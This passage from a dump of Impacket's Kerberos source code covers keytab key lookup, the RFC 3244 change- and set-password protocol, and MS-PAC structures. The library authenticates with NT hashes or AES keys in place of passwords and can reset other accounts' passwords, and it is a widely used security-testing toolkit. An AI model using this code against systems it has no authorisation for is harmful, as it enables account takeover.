ignoreRealm=True):\n        principal = b(principal.upper())\n        if ignoreRealm:\n            principal = principal.split(b'@')[0]\n        matching_keys = {}\n        for entry in self.entries:\n            entry_principal = entry.main_part['principal'].prettyPrint().upper()\n            if entry_principal == principal or (ignoreRealm and entry_principal.split(b'@')[0] == principal):\n                keytype = entry.main_part[\"keyblock\"][\"keytype\"]\n                if keytype == specificEncType:\n                    LOG.debug('Returning %s key for %s' % (entry.main_part['keyblock'].prettyKeytype(),\n                                                           entry.main_part['principal'].prettyPrint()))\n                    return entry.main_part[\"keyblock\"]\n                elif specificEncType is None:\n                    matching_keys[keytype] = entry\n\n        if specificEncType is None and matching_keys:\n            for preference in self.GetkeyEnctypePreference:\n                if preference in matching_keys:\n                    entry = matching_keys[preference]\n                    LOG.debug('Returning %s key for %s' % (entry.main_part['keyblock'].prettyKeytype(),\n                                                           entry.main_part['principal'].prettyPrint()))\n                    return entry.main_part[\"keyblock\"]\n\n        LOG.debug('Principal %s not found in keytab' % principal)\n        return None\n\n    @classmethod\n    def loadFile(cls, fileName):\n        f = open(fileName, 'rb')\n        data = f.read()\n        f.close()\n        return cls(data)\n\n    @classmethod\n    def loadKeysFromKeytab(cls, fileName, username, domain, options):\n        keytab = Keytab.loadFile(fileName)\n        keyblock = keytab.getKey(\"%s@%s\" % (username, domain))\n        if keyblock:\n            if keyblock[\"keytype\"] == Enctype.AES256.value or keyblock[\"keytype\"] == Enctype.AES128.value:\n                options.aesKey = keyblock.hexlifiedValue()\n            elif keyblock[\"keytype\"] == Enctype.RC4.value:\n                options.hashes= ':' + keyblock.hexlifiedValue().decode('ascii')\n        else:\n            LOG.warning(\"No matching key for SPN '%s' in given keytab found!\", username)\n\n\n    def saveFile(self, fileName):\n        f = open(fileName, 'wb+')\n        f.write(self.getData())\n        f.close()\n\n    def prettyPrint(self):\n        print(\"Keytab Entries:\")\n        for i, entry in enumerate(self.entries):\n            print((\"[%d]\" % i))\n            print(entry.prettyPrint('\\t'))"
  },
  {
    "path": "impacket/krb5/kpasswd.py",
    "content": "# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   Functions for Microsoft Windows 2000 Kerberos Change Password\n#   and Set Password Protocols\n#\n# References:\n#   https://www.rfc-editor.org/rfc/rfc3244.txt\n#\n# Author:\n#   Thomas Fargeix (@Alef-Burzmali)\n#\n\nimport base64\nimport binascii\nimport datetime\nimport os\nimport struct\n\nfrom pyasn1.type import namedtype, univ\nfrom pyasn1.codec.der import decoder, encoder\n\nfrom impacket import LOG\nfrom impacket.dcerpc.v5.enum import Enum\n\nfrom .kerberosv5 import getKerberosTGT, sendReceive\nfrom .asn1 import (_sequence_component, _sequence_optional_component, seq_set,\n                   Realm, PrincipalName, Authenticator,\n                   AS_REP, AP_REQ, AP_REP,\n                   KRB_PRIV, EncKrbPrivPart)\nfrom .ccache import CCache\nfrom .constants import PrincipalNameType, ApplicationTagNumbers, AddressType, encodeFlags\nfrom .crypto import Key, get_random_bytes\nfrom .types import Principal, KerberosTime, Ticket\n\n\n# KPASSWD constants and structures\n\nKRB5_KPASSWD_PORT = 464\nKRB5_KPASSWD_PROTOCOL_VERSION = 0xFF80\nKRB5_KPASSWD_TGT_SPN = \"kadmin/changepw\"\n\n\nclass KPasswdResultCodes(Enum):\n    SUCCESS = 0\n    MALFORMED = 1\n    HARDERROR = 2\n    AUTHERROR = 3\n    SOFTERROR = 4\n    ACCESSDENIED = 5\n    BAD_VERSION = 6\n    INITIAL_FLAG_NEEDED = 7\n    UNKNOWN = 0xFFFF\n\n\nRESULT_MESSAGES = {\n    0: \"password changed successfully\",\n    1: \"protocol error: malformed request\",\n    2: \"server error (KRB5_KPASSWD_HARDERROR)\",\n    3: \"authentication failed (may also indicate that the target user was not found)\",\n    4: \"password change rejected (KRB5_KPASSWD_SOFTERROR)\",\n    5: \"access denied\",\n    6: \"protocol error: bad version\",\n    7: \"protocol error: initial flag needed\",\n    0xFFFF: \"unknown error\",\n}\n\n\nclass ChangePasswdData(univ.Sequence):\n    componentType = namedtype.NamedTypes(\n        _sequence_component(\"newpasswd\", 0, univ.OctetString()),  # cleartext password\n        _sequence_optional_component(\"targname\", 1, PrincipalName()),\n        _sequence_optional_component(\"targrealm\", 2, Realm()),\n    )\n\n\n# PasswordPolicy parsing\n# From https://github.com/GhostPack/Rubeus/blob/84610f13e4d47d1a952be3f5348dd1cb18bd92fa/Rubeus/lib/Reset.cs#L180\n\n\nclass PasswordPolicyFlags(Enum):\n    Complex = 0x1\n    NoAnonChange = 0x2\n    NoClearChange = 0x4\n    LockoutAdmins = 0x8\n    StoreCleartext = 0x10\n    RefusePasswordChange = 0x20\n\n\ndef _decodePasswordPolicy(ppolicyString):\n    ppolicyStruct = \"!HIIIQQ\"\n    ticksInADay = 86400 * 10_000_000\n\n    if len(ppolicyString) != struct.calcsize(ppolicyStruct) or ppolicyString[0:2] != b\"\\x00\\x00\":\n        raise ValueError\n\n    properties = struct.unpack(ppolicyStruct, ppolicyString)\n    passwordPolicy = {\n        \"minLength\": properties[1],\n        \"history\": properties[2],\n        \"maxAge\": properties[4] / ticksInADay,\n        \"minAge\": properties[5] / ticksInADay,\n        \"flags\": [flag.name for flag in PasswordPolicyFlags if flag.value & properties[3]],\n    }\n    return passwordPolicy\n\n\n# KPASSWD protocol messages\n\n\nclass KPasswdError(Exception):\n    pass\n\n\ndef createKPasswdRequest(principal, domain, newPasswd, tgs, cipher, sessionKey, subKey,\n                         targetPrincipal=None, targetDomain=None, sequenceNumber=None,\n                         now=None, hostname=b\"localhost\"):\n\n    # Generate the parameters that we need\n    if sequenceNumber is None:\n        sequenceNumber = int.from_bytes(get_random_bytes(4), \"big\")\n\n    if now is None:\n        now = datetime.datetime.now(datetime.timezone.utc)\n\n    if not isinstance(newPasswd, bytes):\n        newPasswd = newPasswd.encode(\"utf-8\")\n\n    # Build the Authenticator\n    authenticator = Authenticator()\n    authenticator[\"authenticator-vno\"] = 5\n    authenticator[\"crealm\"] = domain\n    seq_set(authenticator, \"cname\", principal.components_to_asn1)\n    authenticator[\"cusec\"] = now.microsecond\n    authenticator[\"ctime\"] = KerberosTime.to_asn1(now)\n    authenticator[\"seq-number\"] = sequenceNumber\n    authenticator[\"subkey\"] = univ.noValue\n    authenticator[\"subkey\"][\"keytype\"] = subKey.enctype\n    authenticator[\"subkey\"][\"keyvalue\"] = subKey.contents\n\n    encodedAuthenticator = encoder.encode(authenticator)\n    encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 11, encodedAuthenticator, None)\n\n    LOG.debug(\"b64(authenticator): {}\".format(base64.b64encode(encodedAuthenticator)))\n\n    # Build the AP_REQ\n    apReq = AP_REQ()\n    apReq[\"pvno\"] = 5\n    apReq[\"msg-type\"] = int(ApplicationTagNumbers.AP_REQ.value)\n    apReq[\"ap-options\"] = encodeFlags(list())\n    seq_set(apReq, \"ticket\", tgs.to_asn1)\n    apReq[\"authenticator\"] = univ.noValue\n    apReq[\"authenticator\"][\"etype\"] = cipher.enctype\n    apReq[\"authenticator\"][\"cipher\"] = encryptedEncodedAuthenticator\n\n    apReqEncoded = encoder.encode(apReq)\n\n    # Build the ChangePasswdData structure\n    changePasswdData = ChangePasswdData()\n    changePasswdData[\"newpasswd\"] = newPasswd\n    if targetDomain and targetPrincipal:\n        changePasswdData[\"targrealm\"] = targetDomain.upper()\n        changePasswdData[\"targname\"] = univ.noValue\n        changePasswdData[\"targname\"][\"name-type\"] = PrincipalNameType.NT_PRINCIPAL.value\n        changePasswdData[\"targname\"][\"name-string\"][0] = targetPrincipal\n\n    encodedChangePasswdData = encoder.encode(changePasswdData)\n\n    LOG.debug(\"b64(changePasswdData): {}\".format(base64.b64encode(encodedChangePasswdData)))\n\n    # Build the EncKrbPrivPart structure\n    encKrbPrivPart = EncKrbPrivPart()\n    encKrbPrivPart[\"user-data\"] = encoder.encode(changePasswdData)\n    encKrbPrivPart[\"seq-number\"] = sequenceNumber\n    encKrbPrivPart[\"s-address\"] = univ.noValue\n    encKrbPrivPart[\"s-address\"][\"addr-type\"] = AddressType.IPv4.value\n    encKrbPrivPart[\"s-address\"][\"address\"] = hostname\n\n    # Key Usage 13.\n    # KRB-PRIV encrypted part, encrypted with a key chosen by\n    # the application (Section 5.7.1)\n    encodedEncKrbPrivPart = encoder.encode(encKrbPrivPart)\n    encryptedEncKrbPrivPart = cipher.encrypt(subKey, 13, encodedEncKrbPrivPart, None)\n\n    LOG.debug(\"b64(encKrbPrivPart): {}\".format(base64.b64encode(encodedEncKrbPrivPart)))\n\n    # Build the KRB_PRIV\n    krbPriv = KRB_PRIV()\n    krbPriv[\"pvno\"] = 5\n    krbPriv[\"msg-type\"] = int(ApplicationTagNumbers.KRB_PRIV.value)\n    krbPriv[\"enc-part\"] = univ.noValue\n    krbPriv[\"enc-part\"][\"etype\"] = cipher.enctype\n    krbPriv[\"enc-part\"][\"cipher\"] = encryptedEncKrbPrivPart\n\n    krbPrivEncoded = encoder.encode(krbPriv)\n\n    # Assemble the Kpasswd Request packet\n    apReqLen = len(apReqEncoded)\n    krbPrivLen = len(krbPrivEncoded)\n    messageLen = 2 + 2 + 2 + apReqLen + krbPrivLen\n\n    encoded = struct.pack(\"!HHH\", messageLen, KRB5_KPASSWD_PROTOCOL_VERSION, apReqLen)\n    encoded = encoded + apReqEncoded + krbPrivEncoded\n    return encoded\n\n\ndef decodeKPasswdReply(encoded, cipher, subKey):\n    # Extract the AP_REP and KRB_PRIV\n    headerStruct = \"!HHH\"\n    headerLen = struct.calcsize(headerStruct)\n    try:\n        headers = encoded[:headerLen]\n        _, _, apRepLen = struct.unpack(headerStruct, headers)\n        apRepEncoded = encoded[headerLen : headerLen + apRepLen]\n        krbPrivEncoded = encoded[headerLen + apRepLen :]\n    except:\n        raise KPasswdError(\"kpasswd: malformed reply from the server\")\n\n    # Decode the ASN.1\n    try:\n        apRep = decoder.decode(apRepEncoded, asn1Spec=AP_REP())[0]\n        krbPriv = decoder.decode(krbPrivEncoded, asn1Spec=KRB_PRIV())[0]\n    except:\n        raise KPasswdError(\"kpasswd: malformed AP_REP or KRB_PRIV in the reply from the server\")\n\n    # Decrypt the KRB_PRIV\n    encryptedEncKrbPrivPart = krbPriv[\"enc-part\"][\"cipher\"]\n    try:\n        # Key Usage 13.\n        # KRB-PRIV encrypted part, encrypted with a key chosen by\n        # the application (Section 5.7.1)\n        encodedEncKrbPrivPart = cipher.decrypt(subKey, 13, encryptedEncKrbPrivPart)\n    except:\n        raise KPasswdError(\"kpasswd: cannot decrypt KRB_PRIV in the reply from the server\")\n\n    LOG.debug(\"b64(encKrbPrivPart): {}\".format(base64.b64encode(encodedEncKrbPrivPart)))\n\n    # Decode the result\n    try:\n        encKrbPrivPart = decoder.decode(encodedEncKrbPrivPart, asn1Spec=EncKrbPrivPart())[0]\n        result = encKrbPrivPart[\"user-data\"].asOctets()\n        resultCode, message = int.from_bytes(result[:2], \"big\"), result[2:]\n    except:\n        raise KPasswdError(\"kpasswd: malformed EncKrbPrivPart in the KRB_PRIV in the reply from the server\")\n\n    # Interpret the return code and string\n    LOG.debug(\"resultCode: {}, message: {}\".format(resultCode, message))\n\n    try:\n        resultCodeMessage = RESULT_MESSAGES[resultCode]\n    except KeyError:\n        resultCodeMessage = RESULT_MESSAGES[0xFFFF]\n\n    try:\n        ppolicy = _decodePasswordPolicy(message)\n        message = (\n            \"Password policy:\"\n            \"\\n\\tMinimum length: {minLength}\"\n            \"\\n\\tPassword history: {history}\"\n            \"\\n\\tFlags: {flags}\"\n            \"\\n\\tMaximum password age: {maxAge} days\"\n            \"\\n\\tMinimum password age: {minAge} days\"\n        ).format(**ppolicy)\n    except (ValueError, struct.error):\n        try:\n            message = message.decode(\"utf-8\")\n        except UnicodeDecodeError:\n            message = binascii.hexlify(message).decode(\"latin-1\")\n\n    success = resultCode == KPasswdResultCodes.SUCCESS.value\n    return success, resultCode, resultCodeMessage, message\n\n\n# Wrapper functions\n\ndef changePassword(clientName, domain, newPasswd,\n                   oldPasswd=\"\", oldLmhash=\"\", oldNthash=\"\", aesKey=\"\", TGT=None,\n                   kdcHost=None, kpasswdHost=None, kpasswdPort=KRB5_KPASSWD_PORT, subKey=None):\n    \"\"\"\n    Change the password of the requesting user with RFC 3244 Kerberos Change-Password protocol.\n\n    At least one of oldPasswd, (oldLmhash, oldNthash) or (TGT, aesKey) should be defined.\n\n    :param string clientName:   username of the account changing their password\n    :param string domain:       domain of the account changing their password\n    :param string newPasswd:    new password for the account\n    :param string oldPasswd:    current password of the account\n    :param string oldLmhash:    current LM hash of the account\n    :param string oldNthash:    current NT hash of the account\n    :param string aesKey:       current AES key of the account\n    :param string TGT:          TGT of the account. It must be a TGT with a SPN of kadmin/changepw\n    :param string kdcHost:      KDC address/hostname, used for Kerberos authentication\n    :param string kpasswdHost:  KDC exposing the kpasswd service (TCP/464, UDP/464),\n                                used when sending the password change requests\n                                (Default: same as kdcHost)\n    :param int kpasswdPort:     TCP port where kpasswd is exposed (Default: 464)\n    :param string subKey:       Subkey to use to encrypt the password change request\n                                (Default: generate a random one)\n\n    :return void:               Raise an KPasswdError exception on error.\n    \"\"\"\n    setPassword(\n        clientName, domain, None, None, newPasswd,\n        oldPasswd, oldLmhash, oldNthash, aesKey, TGT,\n        kdcHost, kpasswdHost, kpasswdPort, subKey\n    )\n\n\ndef setPassword(clientName, domain, targetName, targetDomain, newPasswd,\n                oldPasswd=\"\", oldLmhash=\"\", oldNthash=\"\", aesKey=\"\", TGT=None,\n                kdcHost=None, kpasswdHost=None, kpasswdPort=KRB5_KPASSWD_PORT, subKey=None):\n    \"\"\"\n    Set the password of a target account with RFC 3244 Kerberos Set-Password protocol.\n    Requires \"Reset password\" permission on the target, for the user.\n\n    At least one of oldPasswd, (oldLmhash, oldNthash) or (TGT, aesKey) should be defined.\n\n    :param string clientName:   username of the account performing the reset\n    :param string domain:       domain of the account performing the reset\n    :param string targetName:   username of the account whose password will be changed\n    :param string targetDomain: domain of the account whose password will be changed\n    :param string newPasswd:    new password for the target account\n    :param string oldPasswd:    current password of the account performing the reset\n    :param string oldLmhash:    current LM hash of the account performing the reset\n    :param string oldNthash:    current NT hash of the account performing the reset\n    :param string aesKey:       current AES key of the account performing the reset\n    :param string TGT:          TGT of the account performing the reset\n                                It must be a TGT with a SPN of kadmin/changepw\n    :param string kdcHost:      KDC address/hostname, used for Kerberos authentication\n    :param string kpasswdHost:  KDC exposing the kpasswd service (TCP/464, UDP/464),\n                                used when sending the password change requests\n                                (Default: same as kdcHost)\n    :param int kpasswdPort:     TCP port where kpasswd is exposed (Default: 464)\n    :param string subKey:       Subkey to use to encrypt the password change request\n                                (Default: generate a random one)\n\n    :return bool:               True if successful, raise an KPasswdError exception on error.\n    \"\"\"\n\n    if kpasswdHost is None:\n        kpasswdHost = kdcHost\n\n    # Get a TGT for clientName\n    userName = Principal(clientName, type=PrincipalNameType.NT_PRINCIPAL.value)\n    if TGT is None and os.getenv(\"KRB5CCNAME\"):\n        KRB5CCNAME = os.getenv(\"KRB5CCNAME\")\n        try:\n            ccache = CCache.loadFile(KRB5CCNAME)\n        except:\n            # No cache present\n            pass\n        else:\n            LOG.debug(\"Using Kerberos cache: {}\".format(KRB5CCNAME))\n            principal = KRB5_KPASSWD_TGT_SPN\n            creds = ccache.getCredential(principal, False)\n\n            if creds is not None:\n                TGT = creds.toTGT()\n                LOG.info(\"Using TGT for {} from cache {}\".format(principal, KRB5CCNAME))\n            else:\n                LOG.info(\"No valid TGT for {} found in cache {}\".format(principal, KRB5CCNAME))\n\n    if TGT is None:\n        tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(\n            userName, oldPasswd, domain, oldLmhash, oldNthash, aesKey, kdcHost, serverName=KRB5_KPASSWD_TGT_SPN\n        )\n    else:\n        tgt = TGT[\"KDC_REP\"]\n        cipher = TGT[\"cipher\"]\n        sessionKey = TGT[\"sessionKey\"]\n\n    # Extract the raw ticket from the TGT\n    tgt = decoder.decode(tgt, asn1Spec=AS_REP())[0]\n    ticket = Ticket()\n    ticket.from_asn1(tgt[\"ticket\"])\n\n    # Generate a random subkey (if not provided)\n    if subKey is None:\n        subKeyBytes = get_random_bytes(cipher.keysize)\n        subKey = Key(cipher.enctype, subKeyBytes)\n\n    # Generate the Request packet\n    kpasswordReq = createKPasswdRequest(\n        userName, domain, newPasswd, ticket, cipher, sessionKey, subKey, targetName, targetDomain\n    )\n\n    # Send the request to KPASSWD\n    kpasswordRep = sendReceive(kpasswordReq, domain, kpasswdHost, kpasswdPort)\n\n    # Decode the result\n    success, resultCode, resultCodeMessage, message = decodeKPasswdReply(kpasswordRep, cipher, subKey)\n\n    if success:\n        return\n\n    errorMessage = resultCodeMessage\n    if message:\n        errorMessage += \": \" + message\n    raise KPasswdError(errorMessage)\n"
  },
  {
    "path": "impacket/krb5/pac.py",
    "content": "# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   [MS-PAC] Implementation\n#\n# Author:\n#   Alberto Solino (@agsolino)\n#\nfrom impacket.dcerpc.v5.dtypes import ULONG, RPC_UNICODE_STRING, FILETIME, PRPC_SID, USHORT, RPC_SID, SID\nfrom impacket.dcerpc.v5.ndr import NDRSTRUCT, NDRUniConformantArray, NDRPOINTER\nfrom impacket.dcerpc.v5.nrpc import USER_SESSION_KEY, CHAR_FIXED_8_ARRAY, PUCHAR_ARRAY, PRPC_UNICODE_STRING_ARRAY\nfrom impacket.dcerpc.v5.rpcrt import TypeSerialization1\nfrom impacket.ldap.ldaptypes import LDAP_SID\nfrom impacket.structure import Structure\n\n################################################################################\n# CONSTANTS\n################################################################################\n# From https://msdn.microsoft.com/library/aa302203#msdn_pac_credentials\n# and http://diswww.mit.edu/menelaus.mit.edu/cvs-krb5/25862\nPAC_LOGON_INFO       = 1\nPAC_CREDENTIALS_INFO = 2\nPAC_SERVER_CHECKSUM  = 6\nPAC_PRIVSVR_CHECKSUM = 7\nPAC_CLIENT_INFO_TYPE = 10\nPAC_DELEGATION_INFO  = 11\nPAC_UPN_DNS_INFO     = 12\nPAC_ATTRIBUTES_INFO  = 17\nPAC_REQUESTOR_INFO   = 18\n\n################################################################################\n# STRUCTURES\n################################################################################\n\nPISID = PRPC_SID\n\n# 2.2.1 KERB_SID_AND_ATTRIBUTES\nclass KERB_SID_AND_ATTRIBUTES(NDRSTRUCT):\n    structure = (\n        ('Sid', PISID),\n        ('Attributes', ULONG),\n    )\n\nclass KERB_SID_AND_ATTRIBUTES_ARRAY(NDRUniConformantArray):\n    item = KERB_SID_AND_ATTRIBUTES\n\nclass PKERB_SID_AND_ATTRIBUTES_ARRAY(NDRPOINTER):\n    referent = (\n        ('Data', KERB_SID_AND_ATTRIBUTES_ARRAY),\n    )\n\n# 2.2.2 GROUP_MEMBERSHIP\nfrom impacket.dcerpc.v5.nrpc import PGROUP_MEMBERSHIP_ARRAY\n\n# 2.2.3 DOMAIN_GROUP_MEMBERSHIP\nclass DOMAIN_GROUP_MEMBERSHIP(NDRSTRUCT):\n    structure = (\n        ('DomainId', PISID),\n        ('GroupCount', ULONG),\n        ('GroupIds', PGROUP_MEMBERSHIP_ARRAY),\n    )\n\nclass DOMAIN_GROUP_MEMBERSHIP_ARRAY(NDRUniConformantArray):\n    item = DOMAIN_GROUP_MEMBERSHIP\n\nclass PDOMAIN_GROUP_MEMBERSHIP_ARRAY(NDRPOINTER):\n    referent = (\n        ('Data', KERB_SID_AND_ATTRIBUTES_ARRAY),\n    )\n\n# 2.3 PACTYPE\nclass PACTYPE(Structure):\n    structure = (\n        ('cBuffers', '<L=0'),\n        ('Version', '<L=0'),\n        ('Buffers', ':'),\n    )\n\n# 2.4 PAC_INFO_BUFFER\nclass PAC_INFO_BUFFER(Structure):\n    structure = (\n        ('ulType', '<L=0'),\n        ('cbBufferSize', '<L=0'),\n        ('Offset', '<Q=0'),\n    )\n\n# 2.5 KERB_VALIDATION_INFO\nclass KERB_VALIDATION_INFO(NDRSTRUCT):\n    structure = (\n        ('LogonTime', FILETIME),\n        ('LogoffTime', FILETIME),\n        ('KickOffTime', FILETIME),\n        ('PasswordLastSet', FILETIME),\n        ('PasswordCanChange', FILETIME),\n        ('PasswordMustChange', FILETIME),\n        ('EffectiveName', RPC_UNICODE_STRING),\n        ('FullName', RPC_UNICODE_STRING),\n        ('LogonScript', RPC_UNICODE_STRING),\n        ('ProfilePath', RPC_UNICODE_STRING),\n        ('HomeDirectory', RPC_UNICODE_STRING),\n        ('HomeDirectoryDrive', RPC_UNICODE_STRING),\n        ('LogonCount', USHORT),\n        ('BadPasswordCount', USHORT),\n        ('UserId', ULONG),\n        ('PrimaryGroupId', ULONG),\n        ('GroupCount', ULONG),\n        ('GroupIds', PGROUP_MEMBERSHIP_ARRAY),\n        ('UserFlags', ULONG),\n        ('UserSessionKey', USER_SESSION_KEY),\n        ('LogonServer', RPC_UNICODE_STRING),\n        ('LogonDomainName', RPC_UNICODE_STRING),\n        ('LogonDomainId', PRPC_SID),\n\n        # Also called Reserved1\n        ('LMKey', CHAR_FIXED_8_ARRAY),\n\n        ('UserAccountControl', ULONG),\n        ('SubAuthStatus', ULONG),\n        ('LastSuccessfulILogon', FILETIME),\n        ('LastFailedILogon', FILETIME),\n        ('FailedILogonCount', ULONG),\n        ('Reserved3', ULONG),\n\n        ('SidCount', ULONG),\n        #('ExtraSids', PNETLOGON_SID_AND_ATTRIBUTES_ARRAY),\n        ('ExtraSids', PKERB_SID_AND_ATTRIBUTES_ARRAY),\n        ('ResourceGroupDomainSid', PISID),\n        ('ResourceGroupCount', ULONG),\n        ('ResourceGroupIds', PGROUP_MEMBERSHIP_ARRAY),\n    )\n\nclass PKERB_VALIDATION_INFO(NDRPOINTER):\n    referent = (\n        ('Data', KERB_VALIDATION_INFO),\n    )\n\n# 2.6.1 PAC_CREDENTIAL_INFO\nclass PAC_CREDENTIAL_INFO(Structure):\n    structure = (\n        ('Version', '<L=0'),\n        ('EncryptionType', '<L=0'),\n        ('SerializedData', ':'),\n    )\n\n# 2.6.3 SECPKG_SUPPLEMENTAL_CRED\nclass SECPKG_SUPPLEMENTAL_CRED(NDRSTRUCT):\n    structure = (\n        ('PackageName', RPC_UNICODE_STRING),\n        ('CredentialSize', ULONG),\n        ('Credentials', PUCHAR_ARRAY),\n    )\n\nclass SECPKG_SUPPLEMENTAL_CRED_ARRAY(NDRUniConformantArray):\n    item = SECPKG_SUPPLEMENTAL_CRED\n\n# 2.6.2 PAC_CREDENTIAL_DATA\nclass PAC_CREDENTIAL_DATA(NDRSTRUCT):\n    structure = (\n        ('CredentialCount', ULONG),\n        ('Credentials', SECPKG_SUPPLEMENTAL_CRED_ARRAY),\n    )\n\n# 2.6.4 NTLM_SUPPLEMENTAL_CREDENTIAL\nclass NTLM_SUPPLEMENTAL_CREDENTIAL(NDRSTRUCT):\n    structure = (\n        ('Version', ULONG),\n        ('Flags', ULONG),\n        ('LmPassword', '16s=b\"\"'),\n        ('NtPassword', '16s=b\"\"'),\n    )\n\n# 2.7 PAC_CLIENT_INFO\nclass PAC_CLIENT_INFO(Structure):\n    structure = (\n        ('ClientId', '<Q=0'),\n        ('NameLength', '<H=0'),\n        ('_Name', '_-Name', 'self[\"NameLength\"]'),\n        ('Name', ':'),\n    )\n\n# 2.8 PAC_SIGNATURE_DATA\nclass PAC_SIGNATURE_DATA(Structure):\n    structure = (\n        ('SignatureType', '<l=0'),\n        ('Signature', ':'),\n    )\n\n# 2.9 Constrained Delegation Information - S4U_DELEGATION_INFO\nclass S4U_DELEGATION_INFO(NDRSTRUCT):\n    structure = (\n        ('S4U2proxyTarget', RPC_UNICODE_STRING),\n        ('TransitedListSize', ULONG),\n        ('S4UTransitedServices', PRPC_UNICODE_STRING_ARRAY ),\n    )\n\n# 2.10 UPN_DNS_INFO\nclass UPN_DNS_INFO(Structure):\n    structure = (\n        ('UpnLength', '<H=0'),\n        ('UpnOffset', '<H=0'),\n        ('DnsDomainNameLength', '<H=0'),\n        ('DnsDomainNameOffset', '<H=0'),\n        ('Flags', '<L=0')\n    )\n\n# 2.10 UPN_DNS_INFO\n# Full struct including additional fields (use this structure when S Flag is set)\nclass UPN_DNS_INFO_FULL(Structure):\n    structure = (\n        ('UpnLength', '<H=0'),\n        ('UpnOffset', '<H=0'),\n        ('DnsDomainNameLength', '<H=0'),\n        ('DnsDomainNameOffset', '<H=0'),\n        ('Flags', '<L=0'),\n        ('SamNameLength', '<H=0'),\n        ('SamNameOffset', '<H=0'),\n        ('SidLength', '<H=0'),\n        ('SidOffset', '<H=0'),\n    )\n\n# 2.11 PAC_CLIENT_CLAIMS_INFO\nclass PAC_CLIENT_CLAIMS_INFO(Structure):\n    structure = (\n        ('Claims', ':'),\n    )\n\n# 2.12 PAC_DEVICE_INFO\nclass PAC_DEVICE_INFO(NDRSTRUCT):\n    structure = (\n        ('UserId', ULONG),\n        ('PrimaryGroupId', ULONG),\n        ('AccountDomainId', PISID ),\n        ('AccountGroupCount', ULONG ),\n        ('AccountGroupIds', PGROUP_MEMBERSHIP_ARRAY ),\n        ('SidCount', ULONG ),\n        ('ExtraSids', PKERB_SID_AND_ATTRIBUTES_ARRAY ),\n        ('DomainGroupCount', ULONG ),\n        ('DomainGroup', PDOMAIN_GROUP_MEMBERSHIP_ARRAY ),\n    )\n\n# 2.13 PAC_DEVICE_CLAIMS_INFO\nclass PAC_DEVICE_CLAIMS_INFO(Structure):\n    structure = (\n        ('Claims', ':'),\n    )\n\nclass VALIDATION_INFO(TypeSerialization1):\n    structure = (\n        ('Data', PKERB_VALIDATION_INFO),\n    )\n\n# 2.14 PAC_ATTRIBUTES_INFO\nclass PAC_ATTRIBUTE_INFO(NDRSTRUCT):\n    structure = (\n        ('FlagsLength', ULONG),\n        ('Flags', ULONG),\n    )\n\n# 2.15 PAC_REQUESTOR\nclass PAC_REQUESTOR(Structure):\n    structure = (\n        ('UserSid',':',SID),\n    )\n\n"
  },
  {
    "path": "impacket/krb5/types.py",
    "content": "# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Copyright and license note from types.py:\n#\n# Copyright (c) 2013, Marc Horowitz\n# All rights reserved.\n#\n# Redistribution and use in source and binary forms, with or without\n# modification, are permitted provided that the following conditions are\n# met:\n#\n# Redistributions of source code must retain the above copyright notice,\n# this list of conditions and the following disclaimer.\n#\n# Redistributions in binary form must reproduce the above copyright\n# notice, this list of conditions and the following disclaimer in the\n# documentation and/or other materials provided with the distribution.\n#\n# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n# \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\n# A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT\n# HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n# SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n# LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\n# DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY\n# THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n# (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n# OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n#\nimport datetime\nimport socket\nimport re\nimport struct\n\nfrom pyasn1.codec.der import decoder\nfrom six import ensure_binary\n\nfrom . import asn1\nfrom . import constants\n\n\nclass KerberosException(Exception):\n    pass\n\ndef _asn1_decode(data, asn1Spec):\n    if isinstance(data, str) or isinstance(data,bytes):\n        data, substrate = decoder.decode(data, asn1Spec=asn1Spec)\n        if substrate != b'':\n            raise KerberosException(\"asn1 encoding invalid\")\n    return data\n\n# A principal can be represented as:\n\nclass Principal(object):\n    \"\"\"The principal's value can be supplied as:\n* a single string\n* a sequence containing a sequence of component strings and a realm string\n* a sequence whose first n-1 elemeents are component strings and whose last\n  component is the realm\n\nIf the value contains no realm, then default_realm will be used.\"\"\"\n    def __init__(self, value=None, default_realm=None, type=None):\n        self.type = constants.PrincipalNameType.NT_UNKNOWN\n        self.components = []\n        self.realm = None\n\n        if value is None:\n            return\n\n        try:               # Python 2\n            if isinstance(value, unicode):\n                value = value.encode('utf-8')\n        except NameError:  # Python 3\n            if isinstance(value, bytes):\n                value = value.decode('utf-8')\n\n        if isinstance(value, Principal):\n            self.type = value.type\n            self.components = value.components[:]\n            self.realm = value.realm\n        elif isinstance(value, str):\n            m = re.match(r'((?:[^\\\\]|\\\\.)+?)(@((?:[^\\\\@]|\\\\.)+))?$', value)\n            if not m:\n                raise KerberosException(\"invalid principal syntax\")\n\n            def unquote_component(comp):\n                return re.sub(r'\\\\(.)', r'\\1', comp)\n\n            if m.group(2) is not None:\n                self.realm = unquote_component(m.group(3))\n            else:\n                self.realm = default_realm\n\n            self.components = [\n                